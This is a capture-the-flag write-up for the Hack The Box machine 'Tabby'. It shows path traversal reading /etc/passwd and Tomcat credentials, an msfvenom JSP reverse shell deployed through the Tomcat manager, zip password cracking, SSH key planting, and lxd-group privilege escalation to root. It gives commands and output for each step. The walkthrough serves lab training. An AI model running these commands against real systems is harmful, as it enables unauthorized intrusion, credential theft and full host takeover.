tabby — htb writeup · chu@antisec

Back to all write-ups: here

chu@antisec:~/htb$ cat tools.txt

Tools used:

nmap
BurpSuite
curl
Metasploit/msfvenom
John the Ripper/zip2john

Starting with nmap to look for ports and services running on our target:

nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu)) 
|_http-favicon: Unknown favicon MD5: 338ABBB5EA8D80B9869555ECA253D49D 
| http-methods:  
|_  Supported Methods: GET HEAD POST OPTIONS 
|_http-server-header: Apache/2.4.41 (Ubuntu) 
|_http-title: Mega Hosting 
8080/tcp open  http    Apache Tomcat 
| http-methods:  
|_  Supported Methods: OPTIONS GET HEAD POST 
|_http-open-proxy: Proxy might be redirecting requests 
|_http-title: Apache Tomcat 
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). 
TCP/IP fingerprint: 
OS:SCAN(V=7.80%E=4%D=6/21%OT=22%CT=1%CU=41311%PV=Y%DS=2%DC=T%G=Y%TM=5EEF5C5 
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS 
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1 
OS:1NW7%O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN 
OS:(R=Y%DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A 
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R 
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F 
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% 
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD 
OS:=S) 
 
Uptime guess: 25.344 days (since Wed May 27 01:55:33 2020) 
Network Distance: 2 hops 
TCP Sequence Prediction: Difficulty=261 (Good luck!) 
IP ID Sequence Generation: All zeros 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 
 
TRACEROUTE (using port 80/tcp) 
HOP RTT       ADDRESS 
1   157.85 ms 10.10.14.1 
2   157.21 ms 10.10.10.194

Let's start with the web service on port 80 http

url

http://megahosting.htb/news.php?file=statement

Accessing the web page, we can see the 'INFRASTRUCTURE' tab shows a link to megahosting.htb, so we need to add it to the /etc/hosts file.

shell

echo '10.10.10.194    megahosting.htb' >> /etc/hosts

echo '10.10.10.194 megahosting.htb' >> /etc/hosts

url

http://megahosting.htb/news.php?file=../../../../etc/passwd

Users found:

output

root
ash

Let's take a look at what we found on the other web service, on port 8080. http://megahosting.htb:8080/

Accessing the page, we saw it's a default one, but it hands us a very useful piece of information

The message gives us the full path to a users file: /usr/share/tomcat9/etc/tomcat-users.xml

Let's head over to BurpSuite and use Repeater to work the Path Traversal more comfortably:

Our request:

http

GET /news.php?file=../../../../usr/share/tomcat9/etc/tomcat-users.xml HTTP/1.1
Host: megahosting.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

The response to our request, containing the tomcat user and its password.

http

HTTP/1.1 200 OK
Date: Tue, 27 Oct 2020 01:48:43 GMT
Server: Apache/2.4.41 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2325
Connection: close
Content-Type: text/html; charset=UTF-8

<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
-->
<!--
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
   <role rolename="admin-gui"/>
   <role rolename="manager-script"/>
   <user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>

shell

 username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>

tomcat : $3cureP4s5w0rd123!

Let's try uploading a shell now that we have a credential.

First let's build a WAR-format shell using metasploit:

shell

msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.10.15.86" LPORT=1337 -f war > shell.war

Now that we have our shell built, let's upload it using curl:

shell

curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file shell.war "http://megahosting.htb:8080/manager/text/deploy?path=/chu.war"

The site's response telling us the upload worked :D

OK - Deployed application at context path [/chu.war]

Now let's move to metasploit

We'll use the handler (exploit/mult/handler)

After selecting it, set your IP and the port meant to receive the Shell:

Accessing the page with our file, we get the connection: http://megahosting.htb:8080/chu.war

We're the tomcat user

shell

uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)

Upgrading our shell using Python3

shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

While looking for files in the default web server folder, we find a file named: 16162020_backup.zip

shell

/var/www/html/files/16162020_backup.zip

Let's download it to take a look:

The backup file is protected by a password...

Let's crack it with John the Ripper, this time zip2john

shell

zip2john 16162020_backup.zip >> hash.txt

Now we have the hash of the .zip file's password

So now we have to crack it, using John

shell

john --wordlist=../rockyou.txt hash.txt

Now we can finally peek inside the backup!

creds

16162020_backup.zip:admin@it

Going through the backup, I couldn't find anything useful to move forward with... Just when I was starting to think it was a rabbit hole, I decided to give the password I had gotten a shot...

shell

su ash

creds

ash:admin@it

lol xD

Upgrading our shell: when connecting as the Ash user, who has SSH login enabled, we insert our freshly generated ssh-keygen key

Now let's write it to the authorization file:

shell

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDDhWQoPmDNNr5pl+pLhnkaYIzNOY2k2SpdbSXgNZ/tkYtpntQ7HoJaNhqe/vqzjjKtaNatr59AZQbJQGzf7vQnc6PXGtTeB6rQHKMyljbopTyhdkWPm7tSjN5XT9hl8qXGDtyEfgl5kwUtJScpIn0U16YWHkFs7ySSjFfN1FPEWePvQYIHhV5Nc85g/MM6uS97E/Chlnw64pKUEWxJ7RTnnk1SuAunLvmL1t2KxnkV4I4UZFE3s7ePkUJR/rbcw/K2SYoe2KHVK/QOtVSZijsD6VkSe2jVBOeu1xL3O71+pa5i6wbVbH/6mXRctWQyZP7cvZXMENwD3IUu5bUI6w2+lEGKqXLaeFYGy3o9seZI/W6TKQ1tIspdaoNwADIR9eR/8I3hgBdKlGrpDF3+uB8DVPN3EGyxq9n+atwKMPaPWu4jEf94g9ySiQtPrhTxy5jBsKE6sDvcDG3Cl/PtInP8oAjZLRGr8QylPkwqeOleZDnBPOJs40z5u97S8X70jck= root@antisec" >> authorized_keys

shell

ssh ash@10.10.10.194 -i tabby

Grabbing the user flag. (user.txt)

Privilege Escalation.

Once logged in as the ash user, the id command shows we're part of an interesting group...

The Hacking Articles article gives us a good hint: link

On our local machine we'll build the image that will be imported on the target:

shell

git clone  https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine

We use a Python HTTP server module to host it:

shell

python -m SimpleHTTPServer 80

After building it we have to send it over, and since we already have a shell, let's use wget:

shell

wget 10.10.15.85/alpine-v3.12-x86_64-20201026_2224.tar.gz

To import the image we use the command:

shell

ash@tabby:/tmp$ lxc image import ./alpine-v3.12-x86_64-20200626_1413.tar.gz --alias chu
ash@tabby:/tmp$ lxc image list

ash@tabby:/tmp$ lxc image import ./alpine-v3.12-x86_64-20200626_1413.tar.gz --alias chu

We can see the image is already there, now we need to use it

shell

ash@tabby:/tmp$ lxc init chu writeup -c security.privileged=true
Creating ignite 
ash@tabby:/tmp$ lxc config device add writeup chu disk source=/ path=/mnt/root recursive=true 
Device chu added to writeup 
ash@tabby:/tmp$ lxc start writeup 
ash@tabby:/tmp$ lxc exec writeup /bin/sh 
~ # id 
uid=0(root) gid=0(root)

ash@tabby:/tmp$ lxc init chu writeup -c security.privileged=true

shell

cd /mnt/root/root
cat root.txt
d357855fa703d1378270d7740b2258d2

if i helped you, add + respect at my profile :D

My references:

references

http://www.andradesoto.com.br/2017/02/28/a-vulnerabilidade-path-traversal/
https://www.abraweb.com.br/index.php/artigos/ataques-de-path-transversal
https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/
https://tomcat.apache.org/tomcat-7.0-doc/host-manager-howto.html
https://stackoverflow.com/questions/4432684/tomcat-manager-remote-deploy-script
https://www.hackingarticles.in/lxd-privilege-escalation/
https://www.hackingarticles.in/multiple-ways-to-exploit-tomcat-manager/

see ya

chu@antisec:~/htb$ cat tabby.md